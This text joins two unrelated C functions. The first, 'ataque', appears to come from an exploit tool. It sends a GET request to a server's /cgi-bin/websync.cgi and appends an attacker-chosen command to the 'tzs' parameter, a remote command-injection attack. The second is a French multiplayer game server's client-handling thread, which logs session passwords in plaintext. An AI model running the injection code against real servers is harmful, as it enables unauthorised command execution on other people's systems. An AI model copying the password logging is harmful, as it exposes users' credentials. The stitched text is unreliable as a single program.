int ataque(int victim, char *command) { int sockfd, retval, i; char tmp[256]; fd_set rfds; struct timeval timer; char part1[1024] = "/cgi-bin/websync.cgi?ed=&Es=7x1x101&un=Defcom&hn=lab&rpt=/cybersched/En_US/WebResources&cbn=/cgi-bin/websync.cgi&dow=sun&dmy=Off&tf h=Off&lan=En_US&ix=0&amd=2&epw=WXxiAkS&mrd=-1&mrc=0&mrb=0&bnv=9&ds=7x1x101&tzs="; char fancy[] = "Host: 127.0.0.1\nConnection: Keep-Alive\nUser-Agent: Defcom Labs @ Spain version 0.1\nContent-type: aplication/x-www-form-urlencoded\n"; sockfd = connex(victim); FD_ZERO(&rfds); FD_SET(sockfd, &rfds); timer.tv_sec = 5; timer.tv_usec = 0; retval = select(sockfd + 1, NULL, &rfds, NULL, &timer); if(retval) { printf("%s[ + ] Atacking the server ... \n%s", VERDE, NORMAL); write(sockfd, "GET ", strlen("GET ")); write(sockfd, part1, strlen(part1)); write(sockfd, command, strlen(command)); write(sockfd, "\n", strlen("\n")); // Fancy stuff ... LoL! write(sockfd, fancy, strlen(fancy)); write(sockfd, "\n\n", strlen("\n\n")); for(i = 0; i < 256; i++) { tmp[i] = '\0'; } read(sockfd, tmp, sizeof(tmp)); } else { printf("%sTime out!!!!!\n%s", ROJO, NORMAL); exit(-1); } }
// Fonction qu'execute les threads de gestion de client void *gestionClient(void *argThread) { ArgThread *arg = (ArgThread *)argThread; int sock = arg->socket; Session *session = NULL;// = arg->session; ListeJoueurs *listeJ = NULL;//session->liste; pthread_t tmp; char *nomSession; int nbRead; char buf[TBUF]; char *req; int cpt=0; int decoProprement = 0; Joueur *myJoueur = NULL; /* Joueur du thread courant */ free(arg); while((!decoProprement) && (cpt<TBUF) && (nbRead=read(sock, &buf[cpt++], 1)) > 0) { /* Lecture d'une ligne */ if(buf[cpt-1] != '\n') continue; buf[cpt-1] = '\0'; cpt = 0; printf("[Receive] : %s\n", buf); req = strtok(buf, "/"); switch(hash_protocole(req)) { case 1: /* CONNEX */ pthread_mutex_lock(&mutexAllSession); // Au cas ou une destruction en cours pthread_mutex_lock(&(sessionDeBase->mutex)); session = sessionDeBase; listeJ = session->liste; myJoueur = connex(sock, listeJ); if(myJoueur == NULL) { pthread_mutex_unlock(&(sessionDeBase->mutex)); pthread_mutex_unlock(&mutexAllSession); sprintf(buf, "Erreur/Pseudo deja present/\n"); write(sock, buf, strlen(buf)); break; } indiquerConnexion(session, myJoueur); // Aux autres joueurs de la session pthread_mutex_unlock(&(sessionDeBase->mutex)); pthread_mutex_unlock(&mutexAllSession); break; case 2: /* SORT */ printf("[Deconnexion] '%s'\n", myJoueur->pseudo); sort(listeJ, myJoueur); decoProprement = 1; break; case 3: // SOLUTION // Reflexion ou resolution pthread_mutex_lock(&(session->mutex)); if(session->phase == REFLEXION) { pthread_mutex_unlock(&(session->mutex)); trouve(session, myJoueur); } else if(session->phase == RESOLUTION) { pthread_mutex_unlock(&(session->mutex)); resolution(session, myJoueur); } else { printf("WHAT not reflexion or resolution... bad client...\n"); // Client mal fait } break; case 4: // ENCHERE enchere(session, myJoueur); break; case 6: // CHAT chat(session, myJoueur); break; case 7: // CREERSESSION session = creerSession(arg->listeSession, myJoueur); if(session == NULL) { sprintf(buf, "Erreur/Session deja existante/\n"); write(sock, buf, strlen(buf)); break; } printf("[Creation Session] name = %s, mdp = %s\n", session->nomSession, session->mdp); pthread_create(&tmp, NULL, gestionSession, session); // On lance le thread de gestion session->thread = tmp; listeJ = session->liste; myJoueur = connex(sock, listeJ); indiquerConnexion(session, myJoueur); // Au cas ou une connexion entre temps break; case 8: // CONNEXIONPRIVEE nomSession = strtok(NULL, "/"); char *mdp = strtok(NULL, "/"); printf("[Connexion privee] nomSession = %s, mdp = %s\n", nomSession, mdp); pthread_mutex_lock(&mutexAllSession); ////////////////////////////// session = getSession(arg->listeSession, nomSession); if(session == NULL) { pthread_mutex_unlock(&mutexAllSession); //////////////////////////////// sprintf(buf, "Erreur/Session inexistante/\n"); write(sock, buf, strlen(buf)); break; } if(strcmp(mdp, session->mdp)) { pthread_mutex_unlock(&mutexAllSession); sprintf(buf, "Erreur/Mauvais mot de passe/\n"); write(sock, buf, strlen(buf)); break; } pthread_mutex_lock(&(session->mutex)); ///////////////: listeJ = session->liste; myJoueur = connex(sock, listeJ); if(myJoueur == NULL) { pthread_mutex_unlock(&(session->mutex)); pthread_mutex_unlock(&mutexAllSession); sprintf(buf, "Erreur/Pseudo deja present/\n"); write(sock, buf, strlen(buf)); break; } indiquerConnexion(session, myJoueur); pthread_mutex_unlock(&(session->mutex)); pthread_mutex_unlock(&mutexAllSession); break; default: printf("[Requete inconnue] '%s'\n", req); break; } } if(myJoueur == NULL || myJoueur->pseudo == NULL) { printf("Un truc est null WARNING !!!\n"); return NULL; } if(!decoProprement) { /* Cas ou fermeture socket sans SORT */ printf("[Deconnexion] '%s'\n", myJoueur->pseudo); sort(listeJ, myJoueur); } pthread_mutex_lock(&mutexAllSession); pthread_mutex_lock(&(session->mutex)); if(session->liste->nbJoueur == 0) { // Dernier joueur de la session Faudrait un mutex global pthread_mutex_unlock(&(session->mutex)); printf("[Dernier joueur] destruction de la session '%s'\n", session->nomSession); pthread_cancel(session->thread); // Annuler le thread de gestion de la session if(session != sessionDeBase) suppSessionListe(arg->listeSession, session); // Si pas la public, on la supprime de la liste des session privees // Si sessionDeBase on le reinitialise pour pas devoir attendre la fin du tour lors des prochaines connexions if(session == sessionDeBase) { // Prendre le mutex de sessionDeBase ou je sais pas quoi printf("[Re-init session public]\n"); sessionDeBase = createSession("Session_1", ""); pthread_create(&tmp, NULL, gestionSession, sessionDeBase); sessionDeBase->thread = tmp; } } else { pthread_mutex_unlock(&(session->mutex)); } pthread_mutex_unlock(&mutexAllSession); printf("Quit\n"); return NULL; }